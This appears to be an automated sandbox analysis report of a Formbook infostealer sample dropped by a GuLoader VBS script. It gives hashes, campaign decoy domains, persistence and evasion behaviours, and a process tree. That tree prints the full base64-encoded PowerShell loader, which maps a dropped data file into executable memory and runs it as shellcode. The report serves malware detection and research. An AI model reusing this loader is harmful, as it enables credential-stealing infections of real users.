formbook | e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37

Analysis

max time kernel
154s
max time network
165s
platform
windows7_x64
resource
win7-en-20211208
submitted
09-02-2022 14:59

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General

Target

file673736 241-22 01.02.22.vbs
Size

165KB
MD5

7faf86b2e1bb45a26367227c777dc668
SHA1

74e41c42eb5b04c532567d9244c969f4895ee3ca
SHA256

e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37
SHA512

c9427897cb391da11ee8325cd0ffd8efc7b94b2c46503a1cc4a71bd8497fcdfa42efccba7613b1119329d26b510486fe1c05290726ce06c53b60b1c76ded6427

Score

10^/10

formbook guloader k6sm downloader persistence rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

k6sm

Decoy

mingshengjewelry.com

ontimecleaningenterprise.com

alyssa0.xyz

ptecex.xyz

dukfot.online

pvcpc.com

iowalawtechnology.com

nestletranspotation.com

mysithomes.com

greenlakespaseattle.com

evofishingsystems.com

unilytcs.com

ordemt.com

dentalbatonrouge.com

pictureme360.net

chalinaslacatalana.com

newmirrorimage.xyz

pinklaceandlemonade.com

rapinantes.com

yzicpa.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1932-78-0x0000000000400000-0x000000000069B000-memory.dmp	formbook
behavioral1/memory/1932-79-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1680-85-0x0000000000080000-0x00000000000AF000-memory.dmp	formbook

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wininit.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	wininit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DTXDDXWH5T0 = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe"	wininit.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exeieinstal.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wininit.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	wininit.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

ieinstal.exe

pid process

1932 ieinstal.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeieinstal.exe

pid process

1308 powershell.exe
1932 ieinstal.exe

pid	process
1932	ieinstal.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exeieinstal.exewininit.exe

description	pid	process	target process
PID 1308 set thread context of 1932	1308	powershell.exe	ieinstal.exe
PID 1932 set thread context of 1220	1932	ieinstal.exe	Explorer.EXE
PID 1680 set thread context of 1220	1680	wininit.exe	Explorer.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

wininit.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	wininit.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

powershell.exeieinstal.exewininit.exe

pid	process
1308	powershell.exe
1932	ieinstal.exe
1932	ieinstal.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe
1680	wininit.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

powershell.exeieinstal.exewininit.exe

pid process

1308 powershell.exe
1932 ieinstal.exe
1932 ieinstal.exe
1932 ieinstal.exe
1680 wininit.exe
1680 wininit.exe
1680 wininit.exe
1680 wininit.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeieinstal.exewininit.exe

description pid process

Token: SeDebugPrivilege 1308 powershell.exe
Token: SeDebugPrivilege 1932 ieinstal.exe
Token: SeDebugPrivilege 1680 wininit.exe

description	pid	process
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1932	ieinstal.exe
Token: SeDebugPrivilege	1680	wininit.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

WScript.exepowershell.execsc.exeExplorer.EXEwininit.exe

description	pid	process	target process
PID 1692 wrote to memory of 1308	1692	WScript.exe	powershell.exe
PID 1692 wrote to memory of 1308	1692	WScript.exe	powershell.exe
PID 1692 wrote to memory of 1308	1692	WScript.exe	powershell.exe
PID 1692 wrote to memory of 1308	1692	WScript.exe	powershell.exe
PID 1308 wrote to memory of 740	1308	powershell.exe	csc.exe
PID 1308 wrote to memory of 740	1308	powershell.exe	csc.exe
PID 1308 wrote to memory of 740	1308	powershell.exe	csc.exe
PID 1308 wrote to memory of 740	1308	powershell.exe	csc.exe
PID 740 wrote to memory of 1536	740	csc.exe	cvtres.exe
PID 740 wrote to memory of 1536	740	csc.exe	cvtres.exe
PID 740 wrote to memory of 1536	740	csc.exe	cvtres.exe
PID 740 wrote to memory of 1536	740	csc.exe	cvtres.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1308 wrote to memory of 1932	1308	powershell.exe	ieinstal.exe
PID 1220 wrote to memory of 1680	1220	Explorer.EXE	wininit.exe
PID 1220 wrote to memory of 1680	1220	Explorer.EXE	wininit.exe
PID 1220 wrote to memory of 1680	1220	Explorer.EXE	wininit.exe
PID 1220 wrote to memory of 1680	1220	Explorer.EXE	wininit.exe
PID 1680 wrote to memory of 1672	1680	wininit.exe	Firefox.exe
PID 1680 wrote to memory of 1672	1680	wininit.exe	Firefox.exe
PID 1680 wrote to memory of 1672	1680	wininit.exe	Firefox.exe
PID 1680 wrote to memory of 1672	1680	wininit.exe	Firefox.exe
PID 1680 wrote to memory of 1672	1680	wininit.exe	Firefox.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file673736 241-22 01.02.22.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBIAGoAbABwADIAIABvAHIAZABpAG4AcgBzAGsAbgAgAEsATwBOAFYAIABEAEkAUwBDAEkAIABwAHIAZQBkAGUAdABlAHMAIABUAGUAZwBuAG0AcwAgAGQAZQBpAG4AYwByACAAQgBSAE8AQQBEAEUATgBJAE4ARwAgAEMAQQBQAEUAUgBOAE8AIABGAHIAYQBnAG0AZQA3ACAAUwBrAG0AbQAgAEYAbwByAGIAZQBoAG8AIABIAEEATABTAEgAVgAgAEoAaQBiAGUAZABzAHcAIABiAGUAZgBhAG0AbABpACAAVQBOAEMASABSAEkAUwAgAFIAbwBzAGsAaQBsAGQAZQBuAHMAOQAgAGEAdgBsAHMAIAB1AGQAcgBlAGQAIABSAEUAUABSAEUASABFACAAWQBtAHAAbgBpAG4AIABkAHUAcwB0AHMAaABlAGUAIABQAGEAcgBvACAARQBsAGUAYQAgAFUAbgBkAGUAcgA5ACAATQBvAHQAaQB2AGUAdAAzACAAdABhAGsAdABlAHIAaQBuACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAFUAUABFAFIAUABSAEUARABJADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABTAFUAUABFAFIAUABSAEUARABJADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGQAaQBzAGIAcgBhACwAaQBuAHQAIABPAGwAZAB0AGkALAByAGUAZgAgAEkAbgB0ADMAMgAgAFMAVQBQAEUAUgBQAFIARQBEAEkALABpAG4AdAAgAFAAcgBlAGMAdQByAHIAaQBjAHUALABpAG4AdAAgAFMAVQBQAEUAUgBQAFIARQBEAEkANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABWAGkAbABkAGgAZQBkAG8AbgB5ACwAdQBpAG4AdAAgAFMAUABFAFIATQBJAEUAVABGAEUALABpAG4AdAAgAFAAQQBSAEEAVAAsAGkAbgB0ACAAUwBVAFAARQBSAFAAUgBFAEQASQAwACwAaQBuAHQAIABFAHYAbwBrAGUAcgBzAGsALABpAG4AdAAgAEEARQBDAEkATwAsAGkAbgB0ACAAUwBzAHQAdABlAG4AZAAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAE8AbABkAHQAaQAwACwAdQBpAG4AdAAgAE8AbABkAHQAaQAxACwASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATwBsAGQAdABpADMALABpAG4AdAAgAE8AbABkAHQAaQA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBBACgASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkANQAsAGkAbgB0ACAATwBsAGQAdABpADYALABpAG4AdAAgAE8AbABkAHQAaQA3ACwAaQBuAHQAIABPAGwAZAB0AGkAOAAsAGkAbgB0ACAATwBsAGQAdABpADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAbwBsAGkAdgBhAGMAZQAgAFMAawBvAHIAcABlAHMAIABEAHcAYQByAGYAIABGAGwAeQB2ADYAIABQAGwAZQB0AGYAcgBpAGUAMwAgAGEAawB2AGEAdABpAG4AIABiAG8AYQByACAAQgBvAG0AYgBlAHIAZQAgAEEAYgB1AG0AYgAyACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBtAGQAaQBnAG8AbwBnAGUAbgB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBrAHUAcgBzAGkAbwBuAHMAIgAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkAMwA9ADAAOwANAAoAJABTAFUAUABFAFIAUABSAEUARABJADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA4AD0AWwBTAFUAUABFAFIAUABSAEUARABJADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAMAAsAFsAcgBlAGYAXQAkAFMAVQBQAEUAUgBQAFIARQBEAEkAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAEcAdQBtAG0AMwAgAEEAbgB0AGkANgAgAGgAdgBlAHAAcwBlAG4AZQBzAGkAIAByAGUAYwBlAHAAdAAgAFAAcgBvAHQAZQBzAHQAMwAgAGEAcABwAG8AaQBuAHQAcwBsACAARABFAEwAUABMACAASABBAFYAQQBBAEwAUAAgAHIAdQBiAGkAYwAgAHIAaQBuAGcAZQBsACAATwB2AGUAcgBsAG8AZwBpAGMAYQA0ACAAZgBhAHIAbABpACAATgBhAHIAcgBlAHIAaQA3ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAGgAZQB0AGkAdgBlAHUAbgA3ACIAIAANAAoAJABTAFUAUABFAFIAUABSAEUARABJADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAEEAawB0AGkAdgBzAGcAZQBtAC4AZABhAHQAIgANAAoAIwBUAGkAcwBzAGUAdAAgAEkAYgBsAGEAbgAgAFMAYQBsAHYAIABFAG4AYwBlACAAUwBwAGUAagBsAGsAYQBiAGkAIABTAGoAdQBzAHMANgAgAE8ATQBTAFQATgBJAE4ARwBTAEEAIABuAG8AbgBhAHMAYwBlAHQAaQBjACAATgBPAE4AUAAgAFMAdABpAG4AMwAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkANAA9AFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAE0AaQBzAG0AbwB2ACAARgBvAHIAcwByADUAIABMAGUAZwBpAHQAaQAgAEsAQQBUAEgATABJAE4AUwAgAFAAUgBPAEIATwBTAEMARQBTACAAUAByAG0AaQBlAG8AYgBsAGkAIABoAHIAZQBuAGQAZQBiACAAZgBhAGcAZwByAHUAcABwAGUAIABGAGkAeABpAHQAaABlAG4AZAAgAGEAbAB5AGMAbwAgAE4AbwBuAGQAIABTAGEAZABsAGUAcgBmAGEAdQBuACAAVABhAGsAdAByAGUAZwB1AGwAIABFAEQARwBFAE0AQQBOAEwAIABuAG8AbgBwACAAbQBlAHQAZQBvAHIAbwBsACAAUgBhAGIAYgBpAHQANwAgAFMATwBUAFQASQAgAEEAcgBnAHUAcwBqAGUAdABoADUAIABHAGEAcgBkAGUAcgA3ACAAUABsAGEAYwBpAGQAZwB1ADgAIABDAGgAYQBnAHIAaQBuAG4AZQA1ACAAVQBOAFcATwAgAHIAbgB0AGcAZQBuAGIAbABpAGsAIABmAGwAbwByAGkAcwAgAEIAaQBmAGkAZwA0ACAASABZAEcAUgBPACAATgBvAGcAZwBpAG4AZwBzADMAIABIAEkATABTAEUATgAgAFcAQQBTAEgAVABVACAAUAByAG8AdABvAGMAaQB0AGkAegAgAE8AdgBlAHIAcQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBJAFQAUgAiACAADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA1AD0AMAA7AA0ACgAjAGQAZQBjAGEAeQBlAGQAIABDAGEAcgB0AG0AYQBuAHUAbgBkADQAIABLAFUAUwBPAE4AIABzAHUAYwBjAGUAcwAgAGYAbwByAHYAYQBuACAAVgBpAHIAdAB1AG8AMgAgAFIAZQBkAGkAZwBlAHIAaQBuAGcAIABEAEUATABJAEsAQQBUAEUAIABVAG4AYwBvAGcAbgBpAHoAYQBuACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAEEAUgBUAE8AVABFAEsAUwAiACAADQAKAFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQA0ACwAJABTAFUAUABFAFIAUABSAEUARABJADMALAA2ADYANQA3ADIALABbAHIAZQBmAF0AJABTAFUAUABFAFIAUABSAEUARABJADUALAAwACkADQAKACMATQBnAGwAZQByADUAIABTAFQASQBMAEEAIABzAGsAbgBkAGkAZwBoACAARgBsAHMAdQBiAGUAcQB1AGEAdAA0ACAAZQBzAHAAcgBlAHMAcwBpAHYAIABQAHIAbwBnAHIAYQBtAG0AZQAgAE4AbwBuAGYAOAAgAFAAUgBJAE4AQwBJAFAAIABCAGUAcgBuAHMAZwAgAGsAcgBhAHMAcwBlAHMAbwBjAGMAIABiAGEAZABnAGUAcgBpACAAUgBlAGoAcwBlAG4AZABlAHkAIAByAGUAcwB0AGEAZwBlAHIAIABzAGEAbQBzAGUAbgBkAGkAbgBnACAAQgByAHUAZwA1ACAAUABhAHAAaQByACAAUwBPAEMASQAgAEEAZABnAGEAbgBnAHMAZgBvAHIAIABLAHIAYQB0AG8AZwBlAG4AaQAxACAAawBpAG4AawAgAEsAVgBJAEsAUwAgAEsAUgBWAEUAUwBLAEUATABUAEkAIABTAGsAcgB2AGUAYgBhAG4AZQByACAARQBuAHQAcgBlAHAAcgAgAFAAbABhAG4AZQB0ADMAIABTAEwAQQBUACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAE8ATgBGAEkAUwBLACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARABDAEEARABFAE4ATwBDAEEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBuAHIAZQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBNAEEATABKAEUAUgBJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYAZQB0AGkAcwA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEwAdQBkAGUAcgBrAGEAcgBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAcwBjAGUAbAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGUAYwBlAHMAcwBpADUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgB1AHIAZwBhAG0AbwB0AGEAbQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBnAHIAbwB1AHMAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGEAdAB1AHIAawByAGEAZgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAEEAUgBGAEEAUgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAEkARQBTAEgATwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAEEATQBTAEwARwBEAFIAIgAgAA0ACgBbAFMAVQBQAEUAUgBQAFIARQBEAEkAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1308

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nrqoheub.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES391B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC391A.tmp"
5⤵
PID:1536

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1932

C:\Windows\SysWOW64\wininit.exe
"C:\Windows\SysWOW64\wininit.exe"
2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1680

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:1672

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Aktivsgem.dat
MD5
b8fb4faef24302dcfac6cc1a885b1ec2

SHA1
9c14c95107f054c0bfc77243cb99aa57fe3f9bd1

SHA256
9ba5694976d1254b451bc1be9495049fba0421e65d1ccf23fb2c39a2d4f531f0

SHA512
e0506ecdb5fcfcb32e0f32167c30a7daa03e572eb514db96661709751c161f85f265a6f98ce2c2e03aa2cf1a80dbcba489614e7923aa2f7e7fc629b068ef41d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES391B.tmp
MD5
0db2fd85981c21f8a5a252c98e886484

SHA1
ba56b96bf84eb83170e9321e43c1af5e5564ed9e

SHA256
5af915e5a39fce3aeefb184ba5bf5b65a8bd38352fcd6194f1090ffa28c4e31a

SHA512
5516879dd4aadcd4dc5095739f3b2d5983f2586b127bbfefcddf0a04dcfe03c40b28f7e283f52ffd2c1a37e2552aa283297378f94d85910f16d6e7fda5dde73c

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C:\Users\Admin\AppData\Local\Temp\nrqoheub.dll
MD5
1eeaead8d88d437caa56a88cde0ef9e4

SHA1
bfe7936280396e75a1a0496423cb114bd484c102

SHA256
57d460250ae685f7a7801b1938f3a0c5ce415ded8d7fec9a710a8b98ed4a1cf7

SHA512
8c65245a6a20d286cef947482c1380b69bc3a6a1cc2db398187f11815e072dff28a2a0778848425384ba4bf6aeb968993059796737a2af7351db3b31b37f4657

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C:\Users\Admin\AppData\Local\Temp\nrqoheub.pdb
MD5
82de9d17c745ab7866076552bf0f17a1

SHA1
e2d368f5fc8863027dea2bd0983d9797d6eea5e2

SHA256
86662d8a8a33ce726dc846b091200c12aa9225eae06d9ba968aebd88c78ae92b

SHA512
f2f86822aea3fc3acae07997c2b29c5d09957d90ac6672ef011d1382ec7612525ec3f60dbafe84efc60ebecb6ac3d20630dc4bd93b1347ad70fe5b898531a4ac

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C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologim.jpeg
MD5
53b1a05f66d9c65f9a56c6c895848e03

SHA1
f6a49d674c7df4492c4cb4976732d7a5595a6c8a

SHA256
956543abd5c9814b0bc76b1d885dd2ffed46633cd0b3148e1eb666eb42b8404e

SHA512
da48b9135fd9ff559397d139d4aeae3a1c205fd294eb4fbe18abb8dd89356627cc694e10c8b3305d3f10bfbd86ac5f0cc29938caf9ea164d1b71237df6691f48

Download Submit
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrf.ini
MD5
2f245469795b865bdd1b956c23d7893d

SHA1
6ad80b974d3808f5a20ea1e766c7d2f88b9e5895

SHA256
1662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361

SHA512
909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f

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C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologri.ini
MD5
d63a82e5d81e02e399090af26db0b9cb

SHA1
91d0014c8f54743bba141fd60c9d963f869d76c9

SHA256
eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae

SHA512
38afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad

Download Submit
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrv.ini
MD5
ba3b6bc807d4f76794c4b81b09bb9ba5

SHA1
24cb89501f0212ff3095ecc0aba97dd563718fb1

SHA256
6eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507

SHA512
ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC391A.tmp
MD5
69976c737789abb597807e9c1ea8bd3a

SHA1
7a4e8781c43d3c3e431e08c7a4cde27f2a71e364

SHA256
d163db4551dea33b32f64829451613602575bd211cf00ed110094a32a889d0d8

SHA512
136a4746039ca344094002276c54f6c674c6280d296a638f6756cfd31680f0713c3f255fef8e3ee10e933705f285cf48ff6e47b4d7bae86224bbe99ac186b40e

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\??\c:\Users\Admin\AppData\Local\Temp\nrqoheub.0.cs
MD5
697049d413cadd67ef091f8c308f0482

SHA1
0510cd1e3afcb6f0bd7b8ed42fc69aca5a81f2eb

SHA256
461e5bf63d4baf8fde83b3e06708456c781bdae2c8b264f0c5309e719f24d4b2

SHA512
d1da3776083b4f116e11a82534bf5e31949b81d3c448d2d188d80fa357c24ca157c92ef1d9a2a714a1c131100b6c85ad3b492c50af696af10e01cc7ee4e41fde

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\nrqoheub.cmdline
MD5
280e01c771c5b185ba0fa24b8e8d71e4

SHA1
302727d146194a3fabc20857dec5be77f77a48d6

SHA256
f38ecfbe84ff7d89c87839884e5d16372f20a38720dfdf06f9f379a12a1b92a7

SHA512
d8ea444c5f7889b8fbecc3eeed4da474c71cac41de337dd42527ed631532da56d8e53380fe3c05fff50100769db93e359a0c4264b2d9a7a631f711aebd519dff

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memory/740-62-0x00000000020B0000-0x00000000020B1000-memory.dmp

Filesize
4KB

Download
memory/1220-83-0x0000000004EE0000-0x0000000005065000-memory.dmp

Filesize
1.5MB

Download
memory/1220-89-0x0000000006CE0000-0x0000000006DC6000-memory.dmp

Filesize
920KB

Download
memory/1308-72-0x0000000076EE0000-0x0000000076FB6000-memory.dmp

Filesize
856KB

Download
memory/1308-71-0x0000000076CF1000-0x0000000076DF2000-memory.dmp

Filesize
1.0MB

Download
memory/1308-57-0x0000000073772000-0x0000000073774000-memory.dmp

Filesize
8KB

Download
memory/1308-59-0x0000000002662000-0x0000000002664000-memory.dmp

Filesize
8KB

Download
memory/1308-56-0x0000000002660000-0x0000000002661000-memory.dmp

Filesize
4KB

Download
memory/1308-55-0x0000000073771000-0x0000000073772000-memory.dmp

Filesize
4KB

Download
memory/1308-58-0x0000000002661000-0x0000000002662000-memory.dmp

Filesize
4KB

Download
memory/1308-68-0x0000000005B40000-0x0000000005C40000-memory.dmp

Filesize
1024KB

Download
memory/1308-54-0x00000000754B1000-0x00000000754B3000-memory.dmp

Filesize
8KB

Download
memory/1680-86-0x0000000002010000-0x0000000002313000-memory.dmp

Filesize
3.0MB

Download
memory/1680-88-0x0000000001E80000-0x0000000001F14000-memory.dmp

Filesize
592KB

Download
memory/1680-84-0x0000000000740000-0x000000000075A000-memory.dmp

Filesize
104KB

Download
memory/1680-85-0x0000000000080000-0x00000000000AF000-memory.dmp

Filesize
188KB

Download
memory/1932-74-0x0000000000280000-0x0000000000380000-memory.dmp

Filesize
1024KB

Download
memory/1932-81-0x000000000041F000-0x0000000000420000-memory.dmp

Filesize
4KB

Download
memory/1932-82-0x000000001BB50000-0x000000001BB65000-memory.dmp

Filesize
84KB

Download
memory/1932-80-0x000000001C850000-0x000000001CB53000-memory.dmp

Filesize
3.0MB

Download
